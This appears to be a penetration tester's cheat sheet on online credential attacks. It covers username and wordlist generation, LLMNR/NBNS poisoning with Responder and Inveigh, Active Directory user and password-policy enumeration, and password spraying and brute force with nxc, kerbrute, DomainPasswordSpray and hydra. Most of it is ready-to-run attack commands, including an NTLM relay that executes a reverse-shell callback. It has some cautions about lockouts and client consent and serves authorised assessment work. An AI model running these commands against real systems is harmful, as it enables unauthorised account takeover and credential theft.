Online Credential Attacks

Online attacks = touching the wire. You send packets to the target. Risks: account lockouts, IDS/IPS detection, VPN latency. Tools: nxc, hydra, kerbrute, enum4linux-ng.


Preparation (Wordlists & Users)

Default Creds

# Install
pip install defaultcreds-cheat-sheet
creds update

# Creds
creds search <KEYWORD>

Username Generation

Generate usernames to spray (input for online attacks). Use before spraying.

# GOOGLE DORK: Find emails and user name scheme
site:<DOMAIN> "@<DOMAIN>"

# Generate different common permutations of usernames
git clone https://github.com/urbanadventurer/username-anarchy && cd username-anarchy
./username-anarchy <USERNAME>

Wordlist customization (offline)

Wordlist building and mutation (cewl, hashcat rules, CUPP): same wordlists can feed online spraying or offline cracking.

See more about… Wordlist Customization

Source: Docs > 7 - Lateral Movement > offline-hash-cracking#wordlist-customization

Wordlist Customization

Mutating Wordlists

cewl: Scrape target site to build a wordlist (e.g. company jargon, names).

# Create wordlist from website (lowercase, spider depth, min word length)
cewl --lowercase -d <SPIDER_DEPTH> -m <MIN_WORD_LENGTH> -w <WORDLIST_FILENAME>

Hashcat rules: Mutate a small keyword list into a large wordlist.

# Manually generate keywords or use cewl via OSINT
cat << EOF > keywords.txt
<KEYWORDS>
EOF

# Rule examples: c (Capitalize first), C (lowercase first, rest upper), t (toggle case)
# $! append ! ; $1$9$9$8 append 1998 ; sa@ replace a with @ ; so0 replace o with 0 ; ss$ replace s with $
cat << EOF > custom.rule
c
C
t                                                                \$!
\$1\$9\$9\$8
\$1\$9\$9\$8\$!
sa@
so0
ss\$
EOF

# Generate permutated wordlist
hashcat --force -r custom.rule keywords.txt --stdout | sort -u > wordlist.txt

# Crack with same rules
hashcat -a 0 -m <HASH_ID> -r custom.rule <HASH> wordlist.txt

CUPP Profiling

Build a targeted wordlist from personal information (name, birthday, pet, company, etc.). Use when you have OSINT on the target and want passwords likely derived from that data.

git clone https://github.com/Mebus/cupp.git
cd cupp
python3 cupp.py -i

Interactive prompts: name, surname, nickname, birthday, partner, pet, company, keywords, etc. Output is a wordlist tailored to the target.



Enumeration

User Enum

  1. No creds: Try anonymous sessions
  2. Later: with credentials
See more about… Protocol Poisoners

Source: Docs > 5 - Exploitation > protocol-poisoners

These are a great way to passively enumerate or sniff for creds for traffic inside of the network.

Responder

  • https://github.com/lgandx/Responder
    • Configuration services: /etc/responder/Responder.conf
      • CHECK FOR PORT CONFLICTS!
    • Logs (creds) saved to: /usr/share/responder/logs/
  • Attacks the following protocols:
    • LLMNR
    • DNS
    • MDNS
    • NBNS
    • DHCP
    • ICMP
    • HTTP
    • HTTPS
    • SMB
    • LDAP
    • WebDAV
    • Proxy Auth
    • MSSQL
    • DCE-RPC
    • FTP, POP3, IMAP, and SMTP auth

Passive (listen only)

Observe NBT-NS, BROWSER, LLMNR, etc. No responses sent – only capture broadcast traffic; no login prompts or relay.

sudo responder -I <INTERFACE> -A

Active (respond / relay)

Sends responses or relays auth: can trigger login prompts or relay hashes to a target

# Force WPAD; may cause a login prompt
sudo responder --wpad --ForceWpadAuth --verbose --interface=<INTERFACE>

# Relay NTLM to target and execute a callback (e.g. rev shell)
# nc -lvnp <PORT>
impacket-ntlmrelayx --no-http-server -smb2support -t <TARGET> -c '<POWERSHELL_CALLBACK>'

Inveigh

Windows-capable LLMNR/NBNS/mDNS/DNS spoofer and capture tool (NTLM, etc.); use the C# build (Inveigh.exe) – the PowerShell version is legacy and unmaintained.

# Download latest release (Windows x64, single-file trimmed build)
TAG=$(curl -s https://api.github.com/repos/Kevin-Robertson/Inveigh/releases/latest | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/')
wget "https://github.com/Kevin-Robertson/Inveigh/releases/download/$TAG/Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
unzip "Inveigh-net10.0-win-x64-trimmed-single-$TAG.zip"
# Or build from repo (C#): open Inveigh.sln, build/publish for win-x64, or:
# dotnet publish -r win-x64 -c Release -p:PublishSingleFile=true

# Run with LLMNR + NBNS spoofing, full console output, and file output (all explicit)
.\Inveigh.exe -LLMNR Y -NBNS Y -Console 5 -FileOutput Y
# via enum4linux-ng (this uses RPC)
enum4linux-ng -U -u <USER> -p <PASSWORD> <TARGET> | grep "username:" | cut -f2 -d"[" | cut -f1 -d"]"

# via RPC
rpcclient -U '<USER>%<PASSWORD>' -c 'enumdomusers;quit' <TARGET> | tee rpcclient_log
grep -o 'user:\[[^]]*\]' rpcclient_log | cut -d '[' -f2 | cut -d ']' -f1 > domain_users.txt

# via SMB (prefer nxc; sudo often required for SMB signing checks or specific dumps)
sudo nxc smb <TARGET> -u <USER> -p <PASSWORD> --users
# Find high value users
nxc smb <TARGET> -u <USER> -p <PASSWORD> --groups "Domain Admins"

# via LDAP anon bind
# https://linux.die.net/man/1/ldapsearch
# Filters: https://gist.github.com/jonlabelle/0f8ec20c2474084325a89bc5362008a7
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "(&(objectclass=user))"  | grep sAMAccountName: | cut -f2 -d" "
# gets objects with adminCount=1, which includes DAs, Enterprise Admins, Backup Ops, etc.
nxc ldap <TARGET> -u <USER> -p <PASSWORD> --admin-count

# via DOS
net user /domain
# via PowerShell
([adsisearcher]"objectClass=user").FindAll().Properties.samaccountname

# Get Domain Users (feed into Kerbrute)
Import-Module .\PowerView.ps1
Get-DomainUser * | Select-Object -ExpandProperty samaccountname | Foreach {$_.TrimEnd()} |Set-Content adusers.txt
Get-Content .\adusers.txt | select -First 10

# Uses Kerberos Pre-Auth (no auth log): https://ldapwiki.com/wiki/Wiki.jsp?page=Kerberos%20Pre-Authentication
# LOGS: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768
wget https://github.com/insidetrust/statistically-likely-usernames/raw/refs/heads/master/jsmith.txt
kerbrute userenum -d <DOMAIN> --dc <DC_IP> <WORDLIST>

Password Policy

CRITICAL: Check lockout threshold before spraying.

See more about… enum4linux-ng

Source: Docs > 4 - Vuln Analysis > smb-cifs-rpc#enum4linux-ng

enum4linux-ng

enum4linux-ng uses various protocols for enumeration that are outside of the scope here, but for knowledge of the services:

ToolPorts
nmblookup137/UDP
nbtstat137/UDP
net139/TCP, 135/TCP, TCP and UDP 135 and 49152-65535
rpcclient135/TCP
smbclient445/TCP
# Enumeration SMB/NetBIOS
enum4linux-ng -oA enum4linux-ng-log -A <TARGET>
# via SMB
nxc smb <TARGET> --pass-pol
nxc smb <TARGET> -u <USER> -p <PASS> --pass-pol

# via RPC
rpcclient -U "" -N <TARGET>
rpcclient -U '<USER>%<PASSWORD>' <TARGET>
querydominfo  # get domain and password policy

# via LDAP anon bind (Win Server 2003)
# pwdProperties: password complexity
ldapsearch -H ldap://<TARGET> -x -b "DC=<DOMAIN>,DC=<TOPLEVEL_DOMAIN>" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# via net
net use \\<TARGET>\ipc$ "" /u:""
net use \\<TARGET>\ipc$ "<PASSWORD>" /u:<USER>

# via net accounts
net accounts

NOTE: If asking for the policy does not fit the assessment or the client does not want to provide it, run one, max two, password spraying attempts (regardless of internal/external) and wait over an hour between attempts if you do two.

Default Domain Policy

PolicyDefault Value
Enforce password history24 days
Maximum password age42 days
Minimum password age1 day
Minimum password length7
Password must meet complexity requirementsEnabled
Store passwords using reversible encryptionDisabled
Account lockout durationNot set
Account lockout threshold0
Reset account lockout counter afterNot set

Filtering Passwords That Meet Policy

If using a pre-compiled or downloaded list, enforce the known password policy with grep:

# Ensure passwords 8+ chars
grep -E '^.{8,}$' <PASSFILE> > <NEWFILE>
# Must contain 1 upper case
grep -E '[A-Z]' <PASSFILE> > <NEWFILE>
# Must contain 1 lower case
grep -E '[a-z]' <PASSFILE> > <NEWFILE>
# Must contain 1 number
grep -E '[0-9]' <PASSFILE> > <NEWFILE>

Attack Execution

  • Brute-Force: 1 user, many passwords (alternates passwords) — risk of account lockout.
  • Spraying: many users, 1 password (alternates users) — no lockout risk; “hail Mary” to find any way in.

Best practice: Obtain account lockout policy beforehand (enum or customer). If unknown, wait a few hours between attempts so the lockout counter can reset.

SMB / WinRM Spraying

# SMB spraying (--continue-on-success to keep going after a hit)
sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --continue-on-success | grep '+'

# Local auth (local accounts instead of domain; LAPS mitigates)
sudo nxc smb <TARGET> -u <USERS> -p <PASSWORD> --local-auth | grep '+'

# via RPC (manual)
for u in $(cat <USERS>) ; do rpcclient -U "$u%<PASSWORD>" -c "getusername;quit" <TARGET> | grep Authority; done

Kerberos Spraying

No auth logs generated (Kerberos Pre-Auth).

kerbrute passwordspray -d <DOMAIN> --dc <DC_IP> <USERS> <PASSWORD>

Windows (DomainPasswordSpray)

By default the script checks account logon policy and pulls users from the current domain (minus disabled). Use -UserList and -Domain to override.

wget https://github.com/dafthack/DomainPasswordSpray/raw/refs/heads/master/DomainPasswordSpray.ps1

Import-Module .\DomainPasswordSpray.ps1
Invoke-DomainPasswordSpray -OutFile spray_success -ErrorAction SilentlyContinue -Password <PASSWORD>

Brute Force (Hydra)

Last resort for web forms, SSH, etc. (higher lockout risk than spraying.)

See more about… Hydra

Source: Docs > 9 - Notes > hydra

Hydra is a parallelized login cracker that supports numerous protocols to attack quickly and flexibly, and new modules are easy to add.

NOTE: use netexec for Windows AD environments instead

Core Flags

-f      : Stop immediately when a credential is found
-V      : Verbose (Check if service is responding)
-t <N>  : Number of parallel tasks (threads)
-l <USER> : Single username
-L <USER_LIST> : Username list file
-p <PASSWORD> : Single password
-P <WORDLIST> : Password wordlist file
-o <OUTPUT> : Output file
-s <PORT> : Port if nonstandard
-M <TARGET_FILE> : Targets list file
hydra -x -h

# Generate and test passwords ranging from 6 to 8 characters of an alphanumeric set
-x 6:8:abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789

Protocol-Specific Examples

SSH / FTP / RDP / SMB

# SSH brute-force; -t 4 is recommended for SSH (ONLINE - use small wordlist)
hydra -t 4 -l <USER> -P <WORDLIST> -f -V ssh://<TARGET>

# FTP brute-force
hydra -l <USER> -P <WORDLIST> -f -V ftp://<TARGET>

# RDP brute-force
hydra -l <USER> -P <WORDLIST> -f -V rdp://<TARGET>

# SMB brute-force
hydra -l <USER> -P <WORDLIST> -f -V smb://<TARGET>

Web Forms

HTTP-POST

Syntax: "/PATH:BODY:CONDITION=STRING"

  • Use browser F12 > Network > DevTools, web proxy, or -d to capture the actual POST request. Look for the form action URL and input field names.
  • Use ^USER^ and ^PASS^ as placeholders in BODY
  • Condition String: hydra -U http-post-form
    • Important: you can only define S= OR F= - not both
    • F=<FAILURE_STRING> (default) specifies the failure response text to detect failed logins
      • too many false positives means bad failure string
    • `S=<SUCCESS_STRING>
      • S=302 means a successful login due to an HTTP 302 page forward redirect

Check with -dt1 for condition strings

# S=302 for login redirects (and no login error)
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:S=302" -V
# F=X for bad logins give an error
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-post-form "/<PAGE>:<USERNAME_LABEL>=^USER^&<PASSWORD_LABEL>=^PASS^:F=invalid" -V

HTTP Basic Auth

A basic form of authentication, usually when a web resource is restricted, a pop-up window will appear asking for username and password. From a HTTP header perspective it is the base64 version of <USERNAME>:<PASSWORD> like:

Authorization: Basic YWxpY2U6c2VjcmV0MTIz
hydra -l <USER> -P <WORDLIST> -f <TARGET> http-get -V

WordPress Specific

# WordPress brute-force login form with a complex request string (ONLINE - use small wordlist)
hydra -t 16 -l <USER> -P /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000.txt <TARGET> http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username' -VF -o hydra_wp_login.txt

# Alternative WordPress syntax
hydra -l <USER> -P <WORDLIST> <TARGET> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:F=Invalid username" -V -f

Password Spraying

Password spraying uses one password against many users (alternates users), which has no risk of account lockout compared to brute-forcing. This is useful as a “hail Mary” to find any way in!

Best practice: Obtain account lockout policy beforehand (via enumeration or asking customer); if you don’t know the password policy, a good rule of thumb is to wait a few hours between attempts, which should be long enough for the account lockout threshold to reset.

# SSH password spraying (1 password vs many users)
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V -t 4 ssh://<TARGET>

# Web form password spraying
hydra -L <USER_LIST> -p '<PASSWORD>' -f -V <TARGET> http-post-form "/login:user=^USER^&pass=^PASS^:F=Invalid"

Important Notes

  • Account Lockout Risk: Brute-forcing (many passwords vs 1 user) has a RISK of account lockout due to account lockout policy. Use small wordlists and be cautious.
  • Thread Count: Use -t 4 for SSH to avoid overwhelming the service. Web forms can handle higher thread counts like -t 16.
  • Wordlist Selection: For online attacks, use small wordlists (e.g., top 1000 passwords) to minimize lockout risk and reduce time.
  • Output: Always use -o <OUTPUT_FILE> to save results for later analysis.